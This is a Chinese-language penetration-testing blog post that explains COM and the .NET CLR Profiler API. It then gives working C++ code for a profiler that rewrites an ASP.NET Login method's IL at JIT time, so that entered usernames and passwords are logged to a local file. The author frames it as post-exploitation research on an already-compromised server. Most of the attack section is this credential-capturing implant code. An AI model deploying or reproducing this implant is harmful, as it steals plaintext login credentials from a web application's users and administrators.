用CLR Profiler探测器插桩ASP.NET程序获取管理员账号密码
一、前言
在之前某次渗透测试中,发现一个ASP.NET的站点,通过数据库权限提权拿下系统之后发现站点的密码是经过几次编码和不可逆加密算法存储的。导致无法通过管理员的账号密码登录系统(因为当时是个比较重要的系统,因此需要账号密码来登录后台),因此最后的解决办法就是通过加密算法生成一个新的密码,再写入数据库中来登录。但之后接触到了CLR Profiler,于是想起用这种方式来获取管理员的账号密码,本次文章仅介绍思路以供研究学习。
二、CLR Profiler探测器介绍
- COR_ENABLE_PROFILING:仅当此环境变量存在并设置为 1 时,CLR 连接到探查器。
- COR_PROFILER:如果 COR_ENABLE_PROFILING 检查通过,CLR 将连接到具有此 CLSID 或 ProgID 的探查器(已事先存储在注册表中)。 COR_PROFILER 环境变量被定义为字符串,如以下两个示例中所示。
set COR_PROFILER={32E2F4DA-1BEA-47ea-88F9-C5DAF691C94A}
set COR_PROFILER="MyProfiler"
关于ICorProfilerCallback
关于通知接口
关于信息检索接口
初始化探查器
HRESULT Initialize( [in] IUnknown *pICorProfilerInfoUnk );
ICorProfilerInfo* pInfo;
pICorProfilerInfoUnk->QueryInterface(IID_ICorProfilerInfo, (void**)&pInfo);
pInfo->SetEventMask(COR_PRF_MONITOR_ENTERLEAVE | COR_PRF_MONITOR_GC);
这只能执行一次,并且只能在 Initialize 方法内部执行。稍后从其他函数调用它会导致错误。
注:这些事件的类别可以从https://docs.microsoft.com/zh-cn/dotnet/framework/unmanaged-api/profiling/cor-prf-monitor-enumeration得到。
三、COM编程基础
为了方便读者理解CLR Profiler的编写过程,这里再参杂一些COM编程的基础,方便让读者知道为什么代码需要这么写,但如果你是大神,请跳过这一章节。
interface IUnknown { virtual HRESULT __stdcall QueryInterface(const IID& iid, void** ppv) = 0; virtual ULONG __stdcall AddRef() = 0; virtual ULONG __stdcall Release() = 0; };
IUnknown中包含一个名称为QueryInterface的成员函数,客户可以通过此函数来查询某组件是否支持某个特定的接口。若支持,QueryInterface函数将返回一个指向此接口的指针,否则,返回值将是一个错误代码。
第一个参数客户欲查询的接口的标识符。一个标识所需接口的常量
第二个参数是存放所请求接口指针的地址
返回值是一个HRESULT值。查询成功返回S_OK,如果不成功则返回相应错误码。
(1)CoCreateInstance
CoCreateInstance(....){
//.......
IClassFactory *pClassFactory=NULL;
CoGetClassObject(CLSID_Object, CLSCTX_INPROC_SERVER, NULL, IID_IClassFactory, (void **)&pClassFactory);
pClassFactory->CreateInstance(NULL, IID_IUnknown, (void**)&pUnk);
pClassFactory->Release();
//........
}
(2)CoGetClassObject
将在注册表中查找指定的组件。找到之后,它将装载实现此组件的DLL,装载成功之后,它将调用在DLL服务器中实现的DllGetClassObject。
(3)DllGetClassObject
Retrieves the class object from a DLL object handler or object application.
我们之后会在这里创建对应的IClassFactory的类工厂,并通过QueryInterface查询其IClassFactory接口实例,并将其返回给CoCreateInstance。
(4)IClassFactory
Enables a class of objects to be created.
通过DllGetClassObject函数获取到指向类对象的IClassFactory接口指针后,再调用此接口实现的IClassFactory::CreateInstance函数来创建指定的组件对象。
(5)IClassFactory::CreateInstance
IClassFactory::CreateInstance调用了new操作符来创建指定的组件,并查询组件的IX接口。
HRESULT STDMETHODCALLTYPE ClassFactory::CreateInstance(IUnknown *pUnkOuter, REFIID riid, void **ppvObject) { if (pUnkOuter != nullptr) { *ppvObject = nullptr; return CLASS_E_NOAGGREGATION; } CorProfiler* profiler = new CorProfiler(); //实现的组件 if (profiler == nullptr) { return E_FAIL; } return profiler->QueryInterface(riid, ppvObject); } HRESULT STDMETHODCALLTYPE ClassFactory::LockServer(BOOL fLock) { return S_OK; }
详细调用过程为:
//客户调用COM流程:
CoCreateInstace(rclsid,NULL,dwClsContext,IID_IX,(void**)&pIX); //IX* pIX |--> CoGetClassObject(rclsid, dwClsContext, NULL, IID_IClassFactory, &pCF) //IClassFactory* pCF |--> DllGetClassObject(rclsid,IID_IClassFactory,&pCF) |--> CFactory* pFactory = new CFactory(); |--> pFactory->QueryInterface(IID_IClassFactory,&pCF); //返回类场指针IClassFactory* pCF |--> pCF->CreateInstance(pUnkOuter, IID_IX, &pIX); //IX* pIX 组件接口指针pIX pIX->Fx();
四、通知探查器开始JIT编译
通知探查器开始JIT编译就需要用到ICorProfilerCallback::JITCompilationStarted方法。
HRESULT JITCompilationStarted( [in] FunctionID functionId, [in] BOOL fIsSafeToBlock );
functionId是要开始织入的目标函数ID;
fIsSafeToBlock是指示探查器是否会影响运行时的操作的值。
当 IL 代码即将被 JIT 转换为本机代码时,所有托管方法都会调用该回调。这是我们进行一些 IL 重写的机会。
我们从 JITCompilationStarted 回调中得到的是一个 FunctionID。通过使用 FunctionID 作为参数,ICorProfilerInfo::GetFunctionInfo可以获得它的ClassID和ModuleID。
ICorProfilerInfo::GetModuleInfo使用ModuleID将返回其Module名称和其AssemblyID。
GetTokenAndMetadataFromFunction函数的第三个参数可以设置成IMetaDataImport对象,此接口用于在元数据中进行查找。例如,可以遍历一个类的所有方法,或者找到一个类的父类或接口。
例如如下示例:
mdTypeDef classTypeDef; WCHAR functionName[MAX_LENGTH]; WCHAR className[MAX_LENGTH]; PCCOR_SIGNATURE signatureBlob; ULONG signatureBlobLength; DWORD methodAttributes = 0; Check(metaDataImport->GetMethodProps(token1, &classTypeDef, functionName, MAX_LENGTH, 0, &methodAttributes, &signatureBlob, &signatureBlobLength, NULL, NULL)); Check(metaDataImport->GetTypeDefProps(classTypeDef, className, MAX_LENGTH, 0, NULL, NULL)); metaDataImport->Release();
五、编写获取ASP.NET程序登录时的账号密码
之前已经介绍了基础知识,现在就开始编写对应的织入程序。
RESULT STDMETHODCALLTYPE CorProfiler::Initialize(IUnknown *pICorProfilerInfoUnk) { HRESULT queryInterfaceResult = pICorProfilerInfoUnk->QueryInterface(__uuidof(ICorProfilerInfo7), reinterpret_cast<void **>(&this->corProfilerInfo)); if (FAILED(queryInterfaceResult)) { return E_FAIL; } DWORD eventMask = COR_PRF_MONITOR_JIT_COMPILATION | COR_PRF_DISABLE_TRANSPARENCY_CHECKS_UNDER_FULL_TRUST | /* helps the case where this profiler is used on Full CLR */ COR_PRF_DISABLE_INLINING ; auto hr = this->corProfilerInfo->SetEventMask(eventMask); return S_OK; }
这块就是根据微软官方文档所述
pICorProfilerInfoUnk 中指向 IUnknown 接口的指针,探查器必须查询该接口的 ICorProfilerInfo 接口指针。
得到"ICorProfilerInfo"或"ICorProfilerInfo2"接口指针之后,就需要通过ICorProfilerInfo::SetEventMask方法来设置事件通知的类别。
HRESULT STDMETHODCALLTYPE CorProfiler::JITCompilationStarted(FunctionID functionId, BOOL fIsSafeToBlock) { HRESULT hr; mdToken token; ClassID classId; ModuleID moduleId; IfFailRet(this->corProfilerInfo->GetFunctionInfo(functionId, &classId, &moduleId, &token)); if (!CheckProcessName(this->corProfilerInfo, moduleId)) { return S_OK; } CComPtr<IMetaDataImport> metadataImport; IfFailRet(this->corProfilerInfo->GetModuleMetaData(moduleId, ofRead | ofWrite, IID_IMetaDataImport, reinterpret_cast<IUnknown **>(&metadataImport))); CComPtr<IMetaDataEmit> metadataEmit; IfFailRet(metadataImport->QueryInterface(IID_IMetaDataEmit, reinterpret_cast<void **>(&metadataEmit))); mdSignature enterLeaveMethodSignatureToken; metadataEmit->GetTokenFromSig(enterLeaveMethodSignature, sizeof(enterLeaveMethodSignature), &enterLeaveMethodSignatureToken); IMetaDataImport* metaDataImport = NULL; mdToken token1 = NULL; IfFailRet(this->corProfilerInfo->GetTokenAndMetaDataFromFunction(functionId, IID_IMetaDataImport, (LPUNKNOWN *)&metaDataImport, &token1)); const int MAX_LENGTH = 1024; mdTypeDef classTypeDef; WCHAR functionName[MAX_LENGTH]; WCHAR className[MAX_LENGTH]; PCCOR_SIGNATURE signatureBlob; ULONG signatureBlobLength; DWORD methodAttributes = 0; IfFailRet(metaDataImport->GetMethodProps(token1, &classTypeDef, functionName, MAX_LENGTH, 0, &methodAttributes, &signatureBlob, &signatureBlobLength, NULL, NULL)); IfFailRet(metaDataImport->GetTypeDefProps(classTypeDef, className, MAX_LENGTH, 0, NULL, NULL)); metaDataImport->Release(); WCHAR wcs[MAX_LENGTH * 2]; wcscpy(wcs, className); wcscat(wcs, L"."); wcscat(wcs, functionName); if (wcscmp(L"WebApplication1.Controllers.HelloController.Login", wcs) == 0) { return RewriteIL(this->corProfilerInfo, nullptr, moduleId, token, functionId, reinterpret_cast<ULONGLONG>(EnterMethodAddress), reinterpret_cast<ULONGLONG>(LeaveMethodAddress), enterLeaveMethodSignatureToken); } else { return S_OK; } }
函数刚开始的时候通过GetFunctionInfo函数获取到了对应的ModuleID,并通过CheckProcessName函数进行验证。
bool CheckProcessName(ICorProfilerInfo7* corProfilerInfo, ModuleID moduleId) { const int MAX_LENGTH = 1024; WCHAR moduleName[MAX_LENGTH]; AssemblyID assemblyID; AppDomainID appId; ULONG buffSize = 0; ProcessID processId; char szOutBuf[MAX_PATH] = { 0 }; GetEnvironmentVariable(_T("GODWIND_PROFILER_PROCESSES"), szOutBuf, MAX_PATH - 1); WCHAR processName[MAX_LENGTH]; mbstowcs(processName, szOutBuf, sizeof(szOutBuf) - 1); //char to wchar_t Check(corProfilerInfo->GetModuleInfo(moduleId, NULL, MAX_LENGTH, 0, moduleName, &assemblyID)); WCHAR assemblyName[MAX_LENGTH]; Check(corProfilerInfo->GetAssemblyInfo(assemblyID, MAX_LENGTH, 0, assemblyName, &appId, NULL)); Check(corProfilerInfo->GetAppDomainInfo(appId, 0, &buffSize, NULL, NULL)); WCHAR szName[MAX_LENGTH]; Check(corProfilerInfo->GetAppDomainInfo(appId, buffSize, &buffSize, szName, &processId)); if(wcscmp(szName, processName) == 0){ return true; } else { return false; } }
mdTypeDef classTypeDef; WCHAR functionName[MAX_LENGTH]; WCHAR className[MAX_LENGTH]; PCCOR_SIGNATURE signatureBlob; ULONG signatureBlobLength; DWORD methodAttributes = 0; IfFailRet(metaDataImport->GetMethodProps(token1, &classTypeDef, functionName, MAX_LENGTH, 0, &methodAttributes, &signatureBlob, &signatureBlobLength, NULL, NULL)); IfFailRet(metaDataImport->GetTypeDefProps(classTypeDef, className, MAX_LENGTH, 0, NULL, NULL)); metaDataImport->Release(); WCHAR wcs[MAX_LENGTH * 2]; wcscpy(wcs, className); wcscat(wcs, L"."); wcscat(wcs, functionName); if (wcscmp(L"WebApplication1.Controllers.HelloController.Login", wcs) == 0) { return RewriteIL(this->corProfilerInfo, nullptr, moduleId, token, functionId, reinterpret_cast<ULONGLONG>(EnterMethodAddress), reinterpret_cast<ULONGLONG>(LeaveMethodAddress), enterLeaveMethodSignatureToken); } else { return S_OK; }
之前说到过GetMethodProps这种方式可以获取当前JIT加载的函数的名称和对应的类名,我这里讲两个字符串拼接完成之后与L"WebApplication1.Controllers.HelloController.Login"比较。
如果相等,就说明当前的functionID对应的就是我们需要织入的WebApplication1.Controllers.HelloController.Login函数。
然后带入到RewriteIL函数中进行IL字节码操作,这里织入的对象是我自己写的一个函数。
static void STDMETHODCALLTYPE Leave(char* arg0) { FILE *fp = NULL; fp = fopen("E:\\GetRequstInfo.txt", "a+"); fprintf(fp, "\r\narg0: %s \r\n", arg0); fclose(fp); } COR_SIGNATURE enterLeaveMethodSignature[] = { IMAGE_CEE_CS_CALLCONV_STDCALL, 0x01, ELEMENT_TYPE_VOID, ELEMENT_TYPE_STRING }; void(STDMETHODCALLTYPE *LeaveMethodAddress)(char*) = &Leave;
这里我需要重点说一下enterLeaveMethodSignature数组,这个数组是对你织入的函数的描述,在之后的织入中必不可少
第一个值是他的调用方式stdcall
第二个值代表他有多少个参数,这里只有一个char* arg0参数,所以数值是1
第三个值代表返回void类型
第四个值就是参数类型,这里是String的类型,如果第二个值是2,则数组的第五个值也得写上对应的参数类型,但是我们没有两个参数,因此数组只有四个值。
最后通过IMetaDataEmit::GetTokenFromSig函数获取对应元数据签名
关于数组里的这些值该如何设置,可以从微软的官网上找到:https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/metadata/corelementtype-enumeration
因此之后带入RewriteIL中的LeaveMethodAddress就是我要织入的函数,跟进函数查看:
HRESULT RewriteIL( ICorProfilerInfo * pICorProfilerInfo, ICorProfilerFunctionControl * pICorProfilerFunctionControl, ModuleID moduleID, mdMethodDef methodDef, FunctionID functionId, UINT_PTR enterMethodAddress, UINT_PTR exitMethodAddress, ULONG32 methodSignature) { ILRewriter rewriter(pICorProfilerInfo, pICorProfilerFunctionControl, moduleID, methodDef); IMetaDataImport* metaDataImport = NULL; mdToken token1 = NULL; IfFailRet(pICorProfilerInfo->GetTokenAndMetaDataFromFunction(functionId, IID_IMetaDataImport, (LPUNKNOWN *)&metaDataImport, &token1)); IfFailRet(rewriter.Import()); { IfFailRet(AddExitProbe(metaDataImport, &rewriter, functionId, exitMethodAddress, methodSignature)); } IfFailRet(rewriter.Export()); return S_OK; }
所以我织入的思路就是在IL_0016和IL_0017之间织入如下代码:
ldloc.0 ldc.i4 num //function address calli nop
HRESULT AddExitProbe( IMetaDataImport* metaDataImport, ILRewriter * pilr, FunctionID functionId, UINT_PTR methodAddress, ULONG32 methodSignature) { HRESULT hr; BOOL fAtLeastOneProbeAdded = FALSE; // Find all RETs, and insert a call to the exit probe before each one. for (ILInstr * pInstr = pilr->GetILList()->m_pNext; pInstr != pilr->GetILList(); pInstr = pInstr->m_pNext) { switch (pInstr->m_opcode) { case CEE_CALLVIRT:{ const int MAX_LENGTH = 1024; WCHAR szString[MAX_LENGTH]; ULONG *pchString = 0; if (pInstr->m_Arg64 == 167772219) { //0xa00003b string [System]System.Collections.Specialized.NameValueCollection::get_Item(string) IfFailRet(metaDataImport->GetUserString((mdString)pInstr->m_pPrev->m_Arg64, szString, MAX_LENGTH, pchString)); pInstr = pInstr->m_pNext; pilr->GetILList(); pInstr = pInstr->m_pNext; pilr->GetILList(); ILInstr * pNewInstr = pilr->NewILInstr(); pNewInstr = pilr->NewILInstr(); if(wcsstr(szString,L"username")){ pNewInstr->m_opcode = CEE_LDLOC_0; //ldloc.0 } else if (wcsstr(szString, L"password")) { pNewInstr->m_opcode = CEE_LDLOC_1; //ldloc.1 } else { return S_OK; } pilr->InsertBefore(pInstr, pNewInstr); constexpr auto CEE_LDC_I = sizeof(size_t) == 8 ? CEE_LDC_I8 : sizeof(size_t) == 4 ? CEE_LDC_I4 : throw std::logic_error("size_t must be defined as 8 or 4"); pNewInstr = pilr->NewILInstr(); pNewInstr->m_opcode = CEE_LDC_I; //push function address pNewInstr->m_Arg64 = methodAddress; pilr->InsertBefore(pInstr, pNewInstr); pNewInstr = pilr->NewILInstr(); pNewInstr->m_opcode = CEE_CALLI; //calli pNewInstr->m_Arg32 = methodSignature; pilr->InsertBefore(pInstr, pNewInstr); pNewInstr = pilr->NewILInstr(); pNewInstr->m_opcode = CEE_NOP; //nop pilr->InsertBefore(pInstr, pNewInstr); fAtLeastOneProbeAdded = TRUE; } break; } default: break; } } if (!fAtLeastOneProbeAdded) return E_FAIL; return S_OK; }
其中pInstr->m_Arg64 == 167772219的167772219值是提前遍历过一遍才知道该函数对应的MethodToken。
同时,因为我是要织入在IL_0017前面,这个指针相当于我switch-case中设定的callvirt的偏移后两个节点,因此需要在代码中调用两次pInstr = pInstr->m_pNext;
Reference
[1].https://www.cnblogs.com/nly1202/p/5586217.html